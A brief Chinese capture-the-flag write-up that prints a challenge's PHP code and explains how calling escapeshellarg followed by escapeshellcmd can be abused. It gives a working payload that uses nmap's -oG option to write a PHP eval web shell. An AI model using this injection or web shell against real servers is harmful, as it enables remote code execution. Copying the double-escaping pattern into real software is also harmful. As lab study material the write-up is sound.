打开就是php代码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这里的escapeshellarg作用是:1,确保用户值传递一个参数给命令2,用户不能指定更多的参数3,用户不能执行不同的命令
escapeshellcmd的作用是:1,确保用户只执行一个命令2,用户可以指定不限数量的参数3,用户不能执行不同的命令
escapeshellarg处理后先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
例如:
127.0.0.1' -oG escapeshellarg -> '127.0.0.1'\'' -oG '
escapeshellcmd -> '127.0.0.1'\\'' -oG \'
就是将不成对的单引号及任意\
进行添加\
的操作
nmap参数中 -oG可以进行文件写入
所以payload为:
?host='<?php eval($_POST[1]);?> -oG shell.php '
经过两个函数的处理后变为
''\\'' \<\?php eval\(\$_POST\[1\]\)\;\?\> -oG shell.php '\\'''
将该闭合的引号闭合上,忽略这些闭合的引号就变为了:
\ <?php eval($_POST[1]);?> -oG shell.php \\
之后访问
这个目录下的shell.php
得到flag